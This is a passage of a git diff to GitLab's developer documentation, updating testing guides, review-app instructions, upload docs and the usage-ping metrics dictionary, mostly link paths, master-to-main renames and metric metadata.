level?](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/development/testing_guide/testing_levels.md#how-to-test-at-the-correct-level) + section of the [Testing levels](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/development/testing_guide/testing_levels.md) document. - Review how often the feature changes. Stable features that don't change very often might not be worth covering with end-to-end tests if they are already covered in lower level tests. diff --git a/doc/development/testing_guide/end_to_end/feature_flags.md b/doc/development/testing_guide/end_to_end/feature_flags.md index e3719393d41..c9acb2e9371 100644 --- a/doc/development/testing_guide/end_to_end/feature_flags.md +++ b/doc/development/testing_guide/end_to_end/feature_flags.md @@ -72,7 +72,7 @@ Runtime::Feature.enable(:feature_flag_name) It's also possible to run an entire scenario with a feature flag enabled, without having to edit existing tests or write new ones. -Please see the [QA README](https://gitlab.com/gitlab-org/gitlab/tree/master/qa#running-tests-with-a-feature-flag-enabled) +Please see the [QA README](https://gitlab.com/gitlab-org/gitlab/-/tree/master/qa#running-tests-with-a-feature-flag-enabled) for details. ## Confirming that end-to-end tests pass with a feature flag enabled @@ -81,7 +81,7 @@ End-to-end tests should pass with a feature flag enabled before it is enabled on If a test enables a feature flag as describe above, it is sufficient to run the `package-and-qa` job in a merge request containing the relevant changes. Or, if the feature flag and relevant changes have already been merged, you can confirm that the tests -pass on `master`. The end-to-end tests run on `master` every two hours, and the results are posted to a [Test +pass on `main`. The end-to-end tests run on `main` every two hours, and the results are posted to a [Test Session Report, which is available in the testcase-sessions project](https://gitlab.com/gitlab-org/quality/testcase-sessions/-/issues?label_name%5B%5D=found%3Amaster). If the relevant tests do not enable the feature flag themselves, you can check if the tests will need diff --git a/doc/development/testing_guide/end_to_end/img/gl-capybara_V13_12.png b/doc/development/testing_guide/end_to_end/img/gl-capybara_V13_12.png Binary files differindex 9ceccd39025..d5a2522ed82 100644 --- a/doc/development/testing_guide/end_to_end/img/gl-capybara_V13_12.png +++ b/doc/development/testing_guide/end_to_end/img/gl-capybara_V13_12.png diff --git a/doc/development/testing_guide/end_to_end/img/gl-chemlab_V13_12.png b/doc/development/testing_guide/end_to_end/img/gl-chemlab_V13_12.png Binary files differindex 489a043f52e..55eecaf8adf 100644 --- a/doc/development/testing_guide/end_to_end/img/gl-chemlab_V13_12.png +++ b/doc/development/testing_guide/end_to_end/img/gl-chemlab_V13_12.png diff --git a/doc/development/testing_guide/end_to_end/index.md b/doc/development/testing_guide/end_to_end/index.md index e6da4771e55..6ab288b0525 100644 --- a/doc/development/testing_guide/end_to_end/index.md +++ b/doc/development/testing_guide/end_to_end/index.md @@ -100,7 +100,8 @@ You may have noticed that we use `gitlab-org/build/omnibus-gitlab-mirror` instea This is due to technical limitations in the GitLab permission model: the ability to run a pipeline against a protected branch is controlled by the ability to push/merge to this branch. This means that for developers to be able to trigger a pipeline for the default branch in -`gitlab-org/omnibus-gitlab`/`gitlab-org/gitlab-qa`, they would need to have Maintainer permission in those projects. +`gitlab-org/omnibus-gitlab`/`gitlab-org/gitlab-qa`, they would need to have the +[Maintainer role](../../../user/permissions.md) for those projects. For security reasons and implications, we couldn't open up the default branch to all the Developers. Hence we created these mirrors where Developers and Maintainers are allowed to push/merge to the default branch. This problem was discovered in <https://gitlab.com/gitlab-org/gitlab-qa/-/issues/63#note_107175160> and the "mirror" @@ -179,7 +180,7 @@ of the test scenarios you can run via the orchestrator](https://gitlab.com/gitla On the other hand, if you would like to run against a local development GitLab environment, you can use the [GitLab Development Kit (GDK)](https://gitlab.com/gitlab-org/gitlab-development-kit/). -Please refer to the instructions in the [QA README](https://gitlab.com/gitlab-org/gitlab/tree/master/qa/README.md#how-can-i-use-it) +Please refer to the instructions in the [QA README](https://gitlab.com/gitlab-org/gitlab/-/tree/master/qa/README.md#how-can-i-use-it) and the section below. ### Running tests that require special setup @@ -192,7 +193,7 @@ In order to write new tests, you first need to learn more about GitLab QA architecture. See the [documentation about it](https://gitlab.com/gitlab-org/gitlab-qa/blob/master/docs/architecture.md). Once you decided where to put [test environment orchestration scenarios](https://gitlab.com/gitlab-org/gitlab-qa/tree/master/lib/gitlab/qa/scenario) and -[instance-level scenarios](https://gitlab.com/gitlab-org/gitlab-foss/tree/master/qa/qa/specs/features), take a look at the [GitLab QA README](https://gitlab.com/gitlab-org/gitlab/tree/master/qa/README.md), +[instance-level scenarios](https://gitlab.com/gitlab-org/gitlab-foss/tree/master/qa/qa/specs/features), take a look at the [GitLab QA README](https://gitlab.com/gitlab-org/gitlab/-/tree/master/qa/README.md), the [GitLab QA orchestrator README](https://gitlab.com/gitlab-org/gitlab-qa/tree/master/README.md), and [the already existing instance-level scenarios](https://gitlab.com/gitlab-org/gitlab-foss/tree/master/qa/qa/specs/features). diff --git a/doc/development/testing_guide/end_to_end/running_tests_that_require_special_setup.md b/doc/development/testing_guide/end_to_end/running_tests_that_require_special_setup.md index 549ab95a5d1..859b8f950e3 100644 --- a/doc/development/testing_guide/end_to_end/running_tests_that_require_special_setup.md +++ b/doc/development/testing_guide/end_to_end/running_tests_that_require_special_setup.md @@ -8,7 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w ## Jenkins spec -The [`jenkins_build_status_spec`](https://gitlab.com/gitlab-org/gitlab/blob/163c8a8c814db26d11e104d1cb2dcf02eb567dbe/qa/qa/specs/features/ee/browser_ui/3_create/jenkins/jenkins_build_status_spec.rb) spins up a Jenkins instance in a Docker container based on an image stored in the [GitLab-QA container registry](https://gitlab.com/gitlab-org/gitlab-qa/container_registry). +The [`jenkins_build_status_spec`](https://gitlab.com/gitlab-org/gitlab/-/blob/163c8a8c814db26d11e104d1cb2dcf02eb567dbe/qa/qa/specs/features/ee/browser_ui/3_create/jenkins/jenkins_build_status_spec.rb) spins up a Jenkins instance in a Docker container based on an image stored in the [GitLab-QA container registry](https://gitlab.com/gitlab-org/gitlab-qa/container_registry). The Docker image it uses is preconfigured with some base data and plugins. The test then configures the GitLab plugin in Jenkins with a URL of the GitLab instance that are used to run the tests. Unfortunately, the GitLab Jenkins plugin does not accept ports so `http://localhost:3000` would @@ -47,7 +47,7 @@ Jenkins is available on `http://localhost:8080`. Admin username is `admin` and password is `password`. -It is worth noting that this is not an orchestrated test. It is [tagged with the `:orchestrated` meta](https://gitlab.com/gitlab-org/gitlab/blob/163c8a8c814db26d11e104d1cb2dcf02eb567dbe/qa/qa/specs/features/ee/browser_ui/3_create/jenkins/jenkins_build_status_spec.rb#L5) +It is worth noting that this is not an orchestrated test. It is [tagged with the `:orchestrated` meta](https://gitlab.com/gitlab-org/gitlab/-/blob/163c8a8c814db26d11e104d1cb2dcf02eb567dbe/qa/qa/specs/features/ee/browser_ui/3_create/jenkins/jenkins_build_status_spec.rb#L5) only to prevent it from running in the pipelines for live environments such as Staging. ### Troubleshooting diff --git a/doc/development/testing_guide/flaky_tests.md b/doc/development/testing_guide/flaky_tests.md index 6b1c7a7eb58..bfcd68dbaf3 100644 --- a/doc/development/testing_guide/flaky_tests.md +++ b/doc/development/testing_guide/flaky_tests.md @@ -13,7 +13,7 @@ eventually. ## Quarantined tests -When a test frequently fails in `master`, +When a test frequently fails in `main`, [a ~"master:broken" issue](https://about.gitlab.com/handbook/engineering/workflow/#broken-master) should be created. If the test cannot be fixed in a timely fashion, there is an impact on the @@ -53,10 +53,10 @@ Quarantined tests are run on the CI in dedicated jobs that are allowed to fail: ## Automatic retries and flaky tests detection On our CI, we use [RSpec::Retry](https://github.com/NoRedInk/rspec-retry) to automatically retry a failing example a few -times (see [`spec/spec_helper.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/spec/spec_helper.rb) for the precise retries count). +times (see [`spec/spec_helper.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/spec_helper.rb) for the precise retries count). We also use a home-made `RspecFlaky::Listener` listener which records flaky -examples in a JSON report file on `master` (`retrieve-tests-metadata` and +examples in a JSON report file on `main` (`retrieve-tests-metadata` and `update-tests-metadata` jobs). This was originally implemented in: <https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13021>. diff --git a/doc/development/testing_guide/frontend_testing.md b/doc/development/testing_guide/frontend_testing.md index 911fbd43989..8573fa81718 100644 --- a/doc/development/testing_guide/frontend_testing.md +++ b/doc/development/testing_guide/frontend_testing.md @@ -54,7 +54,7 @@ which have to be stubbed. - Jest runs in a Node.js environment, not in a browser. Support for running Jest tests in a browser [is planned](https://gitlab.com/gitlab-org/gitlab/-/issues/26982). - Because Jest runs in a Node.js environment, it uses [jsdom](https://github.com/jsdom/jsdom) by default. See also its [limitations](#limitations-of-jsdom) below. - Jest does not have access to Webpack loaders or aliases. - The aliases used by Jest are defined in its [own configuration](https://gitlab.com/gitlab-org/gitlab/blob/master/jest.config.js). + The aliases used by Jest are defined in its [own configuration](https://gitlab.com/gitlab-org/gitlab/-/blob/master/jest.config.js). - All calls to `setTimeout` and `setInterval` are mocked away. See also [Jest Timer Mocks](https://jestjs.io/docs/timer-mocks). - `rewire` is not required because Jest supports mocking modules. See also [Manual Mocks](https://jestjs.io/docs/manual-mocks). - No [context object](https://jasmine.github.io/tutorials/your_first_suite#section-The_%3Ccode%3Ethis%3C/code%3E_keyword) is passed to tests in Jest. @@ -83,13 +83,13 @@ Running `yarn jest-debug` runs Jest in debug mode, allowing you to debug/inspect ### Timeout error The default timeout for Jest is set in -[`/spec/frontend/test_setup.js`](https://gitlab.com/gitlab-org/gitlab/blob/master/spec/frontend/test_setup.js). +[`/spec/frontend/test_setup.js`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/frontend/test_setup.js). If your test exceeds that time, it fails. If you cannot improve the performance of the tests, you can increase the timeout for a specific test using -[`setTestTimeout`](https://gitlab.com/gitlab-org/gitlab/blob/master/spec/frontend/__helpers__/timeout.js). +[`setTestTimeout`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/frontend/__helpers__/timeout.js). ```javascript import { setTestTimeout } from 'helpers/timeout'; @@ -249,7 +249,7 @@ it('exists', () => { wrapper.findByText(/Click Me/i) // Good (especially for unit tests) - wrapper.find(FooComponent); + wrapper.findComponent(FooComponent); wrapper.find('input[name=foo]'); wrapper.find('[data-testid="my-foo-id"]'); wrapper.findByTestId('my-foo-id'); // with shallowMountExtended or mountExtended – check below @@ -281,7 +281,7 @@ Example: ```javascript it('exists', () => { - wrapper.find(FooComponent); + wrapper.findComponent(FooComponent); }); ``` @@ -386,7 +386,7 @@ Sometimes we have to test time-sensitive code. For example, recurring events tha #### `setTimeout()` / `setInterval()` in application If the application itself is waiting for some time, mock await the waiting. In Jest this is already -[done by default](https://gitlab.com/gitlab-org/gitlab/blob/a2128edfee799e49a8732bfa235e2c5e14949c68/jest.config.js#L47) +[done by default](https://gitlab.com/gitlab-org/gitlab/-/blob/a2128edfee799e49a8732bfa235e2c5e14949c68/jest.config.js#L47) (see also [Jest Timer Mocks](https://jestjs.io/docs/timer-mocks)). In Karma you can use the [Jasmine mock clock](https://jasmine.github.io/api/2.9/Clock.html). @@ -748,7 +748,7 @@ Jest supports [manual module mocks](https://jestjs.io/docs/manual-mocks) by plac (e.g. `app/assets/javascripts/ide/__mocks__`). **Don't do this.** We want to keep all of our test-related code in one place (the `spec/` folder). If a manual mock is needed for a `node_modules` package, use the `spec/frontend/__mocks__` folder. Here's an example of -a [Jest mock for the package `monaco-editor`](https://gitlab.com/gitlab-org/gitlab/blob/b7f914cddec9fc5971238cdf12766e79fa1629d7/spec/frontend/__mocks__/monaco-editor/index.js#L1). +a [Jest mock for the package `monaco-editor`](https://gitlab.com/gitlab-org/gitlab/-/blob/b7f914cddec9fc5971238cdf12766e79fa1629d7/spec/frontend/__mocks__/monaco-editor/index.js#L1). If a manual mock is needed for a CE module, place it in `spec/frontend/mocks/ce`. @@ -759,12 +759,12 @@ If a manual mock is needed for a CE module, place it in `spec/frontend/mocks/ce` #### Manual mock examples -- [`mocks/axios_utils`](https://gitlab.com/gitlab-org/gitlab/blob/bd20aeb64c4eed117831556c54b40ff4aee9bfd1/spec/frontend/mocks/ce/lib/utils/axios_utils.js#L1) - +- [`mocks/axios_utils`](https://gitlab.com/gitlab-org/gitlab/-/blob/bd20aeb64c4eed117831556c54b40ff4aee9bfd1/spec/frontend/mocks/ce/lib/utils/axios_utils.js#L1) - This mock is helpful because we don't want any unmocked requests to pass any tests. Also, we are able to inject some test helpers such as `axios.waitForAll`. -- [`__mocks__/mousetrap/index.js`](https://gitlab.com/gitlab-org/gitlab/blob/cd4c086d894226445be9d18294a060ba46572435/spec/frontend/__mocks__/mousetrap/index.js#L1) - +- [`__mocks__/mousetrap/index.js`](https://gitlab.com/gitlab-org/gitlab/-/blob/cd4c086d894226445be9d18294a060ba46572435/spec/frontend/__mocks__/mousetrap/index.js#L1) - This mock is helpful because the module itself uses AMD format which webpack understands, but is incompatible with the jest environment. This mock doesn't remove any behavior, only provides a nice es6 compatible wrapper. -- [`__mocks__/monaco-editor/index.js`](https://gitlab.com/gitlab-org/gitlab/blob/b7f914cddec9fc5971238cdf12766e79fa1629d7/spec/frontend/__mocks__/monaco-editor/index.js) - +- [`__mocks__/monaco-editor/index.js`](https://gitlab.com/gitlab-org/gitlab/-/blob/b7f914cddec9fc5971238cdf12766e79fa1629d7/spec/frontend/__mocks__/monaco-editor/index.js) - This mock is helpful because the Monaco package is completely incompatible in a Jest environment. In fact, webpack requires a special loader to make it work. This mock makes this package consumable by Jest. @@ -1109,7 +1109,7 @@ See also [Notes on testing Vue components](../fe_guide/vue.md#testing-vue-compon ## Test helpers -Test helpers can be found in [`spec/frontend/__helpers__`](https://gitlab.com/gitlab-org/gitlab/blob/master/spec/frontend/__helpers__). +Test helpers can be found in [`spec/frontend/__helpers__`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/frontend/__helpers__). If you introduce new helpers, place them in that directory. ### Vuex Helper: `testAction` diff --git a/doc/development/testing_guide/review_apps.md b/doc/development/testing_guide/review_apps.md index c4194be23a4..cf757aad870 100644 --- a/doc/development/testing_guide/review_apps.md +++ b/doc/development/testing_guide/review_apps.md @@ -81,6 +81,8 @@ subgraph "CNG-mirror pipeline" - Since we're using [the official GitLab Helm chart](https://gitlab.com/gitlab-org/charts/gitlab/), this means you get a dedicated environment for your branch that's very close to what it would look in production. + - Each review app is deployed to its own Kubernetes namespace. The namespace is based on the Review App slug that is + unique to each branch. 1. Once the [`review-deploy`](https://gitlab.com/gitlab-org/gitlab/-/jobs/467724810) job succeeds, you should be able to use your Review App thanks to the direct link to it from the MR widget. To log into the Review App, see "Log into my Review App?" below. @@ -132,6 +134,9 @@ the QA smoke suite. You can also manually start the `review-qa-all`: it runs the full QA suite. +After the end-to-end test runs have finished, [Allure reports](https://github.com/allure-framework/allure2) are generated and published by +the `allure-report-qa-smoke` and `allure-report-qa-all` jobs. A comment with links to the reports are added to the merge request. + ## Performance Metrics On every [pipeline](https://gitlab.com/gitlab-org/gitlab/pipelines/125315730) in the `qa` stage, the @@ -141,12 +146,7 @@ browser performance testing using a ## Cluster configuration -### Node pools - -The `review-apps` cluster is currently set up with -the following node pools: - -- `e2-highcpu-16` (16 vCPU, 16 GB memory) pre-emptible nodes with autoscaling +The cluster is configured via Terraform in the [`engineering-productivity-infrastructure`](https://gitlab.com/gitlab-org/quality/engineering-productivity-infrastructure) project. Node pool image type must be `Container-Optimized OS (cos)`, not `Container-Optimized OS with Containerd (cos_containerd)`, due to this [known issue on GitLab Runner Kubernetes executor](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4755) @@ -200,7 +200,7 @@ the GitLab handbook information for the [shared 1Password account](https://about 1. Click on the `KUBECTL` dropdown, then `Exec` -> `task-runner`. 1. Replace `-c task-runner -- ls` with `-it -- gitlab-rails console` from the default command or - - Run `kubectl exec --namespace review-apps review-qa-raise-e-12chm0-task-runner-d5455cc8-2lsvz -it -- gitlab-rails console` and + - Run `kubectl exec --namespace review-qa-raise-e-12chm0 review-qa-raise-e-12chm0-task-runner-d5455cc8-2lsvz -it -- gitlab-rails console` and - Replace `review-qa-raise-e-12chm0-task-runner-d5455cc8-2lsvz` with your Pod's name. @@ -218,7 +218,7 @@ the GitLab handbook information for the [shared 1Password account](https://about ## Diagnosing unhealthy Review App releases If [Review App Stability](https://app.periscopedata.com/app/gitlab/496118/Engineering-Productivity-Sandbox?widget=6690556&udv=785399) -dips this may be a signal that the `review-apps-ce/ee` cluster is unhealthy. +dips this may be a signal that the `review-apps` cluster is unhealthy. Leading indicators may be health check failures leading to restarts or majority failure for Review App deployments. The [Review Apps Overview dashboard](https://console.cloud.google.com/monitoring/classic/dashboards/6798952013815386466?project=gitlab-review-apps&timeDomain=1d) diff --git a/doc/development/testing_guide/testing_levels.md b/doc/development/testing_guide/testing_levels.md index abacb9a0c87..3a4a28702c7 100644 --- a/doc/development/testing_guide/testing_levels.md +++ b/doc/development/testing_guide/testing_levels.md @@ -48,7 +48,7 @@ records should use stubs/doubles as much as possible. | `config/` | `spec/config/` | RSpec | | | `config/initializers/` | `spec/initializers/` | RSpec | | | `config/routes.rb`, `config/routes/` | `spec/routing/` | RSpec | | -| `config/puma.example.development.rb`, `config/unicorn.rb.example` | `spec/rack_servers/` | RSpec | | +| `config/puma.example.development.rb` | `spec/rack_servers/` | RSpec | | | `db/` | `spec/db/` | RSpec | | | `db/{post_,}migrate/` | `spec/migrations/` | RSpec | More details in the [Testing Rails migrations guide](testing_migrations_guide.md). | | `Gemfile` | `spec/dependencies/`, `spec/sidekiq/` | RSpec | | @@ -486,7 +486,7 @@ Note that: - data needed for the tests can only be created using the GUI or the API - expectations can only be made against the browser page and API responses -Every new feature should come with a [test plan](https://gitlab.com/gitlab-org/gitlab/tree/master/.gitlab/issue_templates/Test%20plan.md). +Every new feature should come with a [test plan](https://gitlab.com/gitlab-org/gitlab/-/tree/master/.gitlab/issue_templates/Test%20plan.md). | Tests path | Testing engine | Notes | | ---------- | -------------- | ----- | diff --git a/doc/development/testing_guide/testing_rake_tasks.md b/doc/development/testing_guide/testing_rake_tasks.md index dc754721e24..30d193de2f2 100644 --- a/doc/development/testing_guide/testing_rake_tasks.md +++ b/doc/development/testing_guide/testing_rake_tasks.md @@ -11,19 +11,21 @@ in lieu of the standard Spec helper. Instead of `require 'spec_helper'`, use `require 'rake_helper'`. The helper includes `spec_helper` for you, and configures a few other things to make testing Rake tasks easier. -At a minimum, requiring the Rake helper redirects `stdout`, include the -runtime task helpers, and include the `RakeHelpers` Spec support module. +At a minimum, requiring the Rake helper includes the runtime task helpers, and +includes the `RakeHelpers` Spec support module. The `RakeHelpers` module exposes a `run_rake_task(<task>)` method to make executing tasks simple. See `spec/support/helpers/rake_helpers.rb` for all available methods. +`$stdout` can be redirected by adding `:silence_stdout`. + Example: ```ruby require 'rake_helper' -describe 'gitlab:shell rake tasks' do +describe 'gitlab:shell rake tasks', :silence_stdout do before do Rake.application.rake_require 'tasks/gitlab/shell' diff --git a/doc/development/understanding_explain_plans.md b/doc/development/understanding_explain_plans.md index e0176c190d6..66dc1fef31a 100644 --- a/doc/development/understanding_explain_plans.md +++ b/doc/development/understanding_explain_plans.md @@ -704,7 +704,7 @@ Execution time: 0.113 ms ### ChatOps -[GitLab employees can also use our ChatOps solution, available in Slack using the +[GitLab team members can also use our ChatOps solution, available in Slack using the `/chatops` slash command](chatops_on_gitlabcom.md). You can use ChatOps to get a query plan by running the following: @@ -728,7 +728,7 @@ For more information about the available options, run: ### `#database-lab` -Another tool GitLab employees can use is a chatbot powered by [Joe](https://gitlab.com/postgres-ai/joe) +Another tool GitLab team members can use is a chatbot powered by [Joe](https://gitlab.com/postgres-ai/joe) which uses [Database Lab](https://gitlab.com/postgres-ai/database-lab) to instantly provide developers with their own clone of the production database. diff --git a/doc/development/uploads.md b/doc/development/uploads.md index 7ffa9014240..7cdc3875fd6 100644 --- a/doc/development/uploads.md +++ b/doc/development/uploads.md @@ -216,8 +216,8 @@ Workhorse asks rails for temporary pre-signed object storage URLs and directly u In this setup, an extra Rails route must be implemented in order to handle authorization. Examples of this can be found in: -- [`Projects::LfsStorageController`](https://gitlab.com/gitlab-org/gitlab/blob/cc723071ad337573e0360a879cbf99bc4fb7adb9/app/controllers/projects/lfs_storage_controller.rb) - and [its routes](https://gitlab.com/gitlab-org/gitlab/blob/cc723071ad337573e0360a879cbf99bc4fb7adb9/config/routes/git_http.rb#L31-32). +- [`Projects::LfsStorageController`](https://gitlab.com/gitlab-org/gitlab/-/blob/cc723071ad337573e0360a879cbf99bc4fb7adb9/app/controllers/projects/lfs_storage_controller.rb) + and [its routes](https://gitlab.com/gitlab-org/gitlab/-/blob/cc723071ad337573e0360a879cbf99bc4fb7adb9/config/routes/git_http.rb#L31-32). - [API endpoints for uploading packages](packages.md#file-uploads). This falls back to _disk buffered upload_ when `direct_upload` is disabled inside the [object storage setting](../administration/uploads.md#object-storage-settings). @@ -323,7 +323,7 @@ For a Grape API upload, we can have [body or a multipart](#upload-encodings) upl Workhorse pre-upload authorization and one for accepting the upload metadata from Workhorse: 1. Implement an endpoint with the URL + `/authorize` suffix that will: - - Check that the request is coming from Workhorse with the `require_gitlab_workhorse!` from the [API helpers](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/api/helpers.rb). + - Check that the request is coming from Workhorse with the `require_gitlab_workhorse!` from the [API helpers](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/api/helpers.rb). - Check user permissions. - Set the status to `200` with `status 200`. - Set the content type with `content_type Gitlab::Workhorse::INTERNAL_API_CONTENT_TYPE`. @@ -334,7 +334,7 @@ Workhorse pre-upload authorization and one for accepting the upload metadata fro use `requires :file, type: ::API::Validations::Types::WorkhorseFile`. - Body upload requests have their upload available under the parameter `file`. - Check that the request is coming from Workhorse with the `require_gitlab_workhorse!` from the -[API helpers](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/api/helpers.rb). +[API helpers](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/api/helpers.rb). - Check the user permissions. - The remaining code of the processing. This is where the code must be reading the parameter (for our example, it would be `params[:file]`). diff --git a/doc/development/usage_ping.md b/doc/development/usage_ping.md index b8f08caaebd..567a2d41c33 100644 --- a/doc/development/usage_ping.md +++ b/doc/development/usage_ping.md @@ -1,7 +1,9 @@ --- redirect_to: 'usage_ping/index.md' +remove_date: '2021-05-23' --- This document was moved to [another location](usage_ping/index.md). + <!-- This redirect file can be deleted after <2021-05-23>. --> <!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
\ No newline at end of file diff --git a/doc/development/usage_ping/dictionary.md b/doc/development/usage_ping/dictionary.md index 75d65f8e5df..e76fb302b9c 100644 --- a/doc/development/usage_ping/dictionary.md +++ b/doc/development/usage_ping/dictionary.md @@ -36,7 +36,7 @@ was released. ### `active_user_count` -This is named the instance_user_count in the Versions application. +The number of active users existing in the instance. This is named the instance_user_count in the Versions application. [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/license/20210204124829_active_user_count.yml) @@ -162,7 +162,7 @@ Missing description Group: `` -Status: `implemented` +Status: `data_available` Tiers: @@ -282,7 +282,7 @@ Missing description Group: `` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -372,15 +372,15 @@ Tiers: `free` ### `container_registry_enabled` -Whether container registry is enabled +A count of projects where the container registry is enabled [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210204124858_container_registry_enabled.yml) -Group: `group::product intelligence` +Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `container_registry_server.vendor` @@ -392,7 +392,7 @@ Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `container_registry_server.version` @@ -404,7 +404,7 @@ Group: `group::package` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.alert_bot_incident_issues` @@ -508,7 +508,7 @@ Unique builds in project [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175510_ci_builds.yml) -Group: `group::continuous integration` +Group: `group::pipeline execution` Status: `data_available` @@ -520,7 +520,7 @@ Total pipelines in external repositories [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175514_ci_external_pipelines.yml) -Group: `group::continuous integration` +Group: `group::pipeline execution` Status: `data_available` @@ -532,7 +532,7 @@ Total pipelines in GitLab repositories [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175512_ci_internal_pipelines.yml) -Group: `group::continuous integration` +Group: `group::pipeline execution` Status: `data_available` @@ -556,7 +556,7 @@ Total Pipelines from templates in repository [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175518_ci_pipeline_config_repository.yml) -Group: `group::continuous integration` +Group: `group::pipeline execution` Status: `data_available` @@ -568,7 +568,7 @@ Pipeline schedules in GitLab [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175523_ci_pipeline_schedules.yml) -Group: `group::continuous integration` +Group: `group::pipeline execution` Status: `data_available` @@ -580,7 +580,7 @@ Total configured Runners in project [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175520_ci_runners.yml) -Group: `group::continuous integration` +Group: `group::pipeline execution` Status: `data_available` @@ -592,9 +592,9 @@ Total active instance Runners [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210502050341_ci_runners_group_type_active.yml) -Group: `group::continuous integration` +Group: `group::pipeline execution` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -604,9 +604,9 @@ Total active and online group Runners [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210502051922_ci_runners_group_type_active_online.yml) -Group: `group::continuous integration` +Group: `group::pipeline execution` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -616,9 +616,9 @@ Total active group Runners [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210502045402_ci_runners_instance_type_active.yml) -Group: `group::continuous integration` +Group: `group::pipeline execution` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -628,9 +628,9 @@ Total active and online instance Runners [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210502051651_ci_runners_instance_type_active_online.yml) -Group: `group::continuous integration` +Group: `group::pipeline execution` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -640,9 +640,9 @@ Total online Runners [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210502050942_ci_runners_online.yml) -Group: `group::continuous integration` +Group: `group::pipeline execution` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -652,9 +652,9 @@ Total active project Runners [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210502050834_ci_runners_project_type_active.yml) -Group: `group::continuous integration` +Group: `group::pipeline execution` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -664,9 +664,9 @@ Total active and online project Runners [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210502052036_ci_runners_project_type_active_online.yml) -Group: `group::continuous integration` +Group: `group::pipeline execution` -Status: `implemented` +Status: `data_available` Tiers: `free`, `premium`, `ultimate` @@ -676,7 +676,7 @@ Total configured Triggers in project [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175521_ci_triggers.yml) -Group: `group::continuous integration` +Group: `group::pipeline execution` Status: `data_available` @@ -936,7 +936,7 @@ Tiers: `free` ### `counts.cycle_analytics_views` -Missing description +Total visits to VSA (both group- and project-level) all time [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216174832_cycle_analytics_views.yml) @@ -944,7 +944,7 @@ Group: `group::optimize` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.dast_jobs` @@ -1020,39 +1020,39 @@ Tiers: `free`, `premium`, `ultimate` ### `counts.design_management_designs_create` -Missing description +Number of designs that were created [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180740_design_management_designs_create.yml) -Group: `group::knowledge` +Group: `group::product planning` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.design_management_designs_delete` -Missing description +Number of designs that were deleted [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180743_design_management_designs_delete.yml) -Group: `group::knowledge` +Group: `group::product planning` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.design_management_designs_update` -Missing description +Number of updates to designs [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180741_design_management_designs_update.yml) -Group: `group::knowledge` +Group: `group::product planning` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` ### `counts.environments` @@ -1126,54 +1126,6 @@ Status: `data_available` Tiers: `free` -### `counts.g_project_management_users_checking_epic_task_monthly` - -Counts of MAU checking epic task - -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210421080207_g_project_management_users_checking_epic_task_monthly.yml) - -Group: `group::product planning` - -Status: `implemented` - -Tiers: `premium`, `ultimate` - -### `counts.g_project_management_users_checking_epic_task_weekly` - -Counts of WAU checking epic task - -[YAML 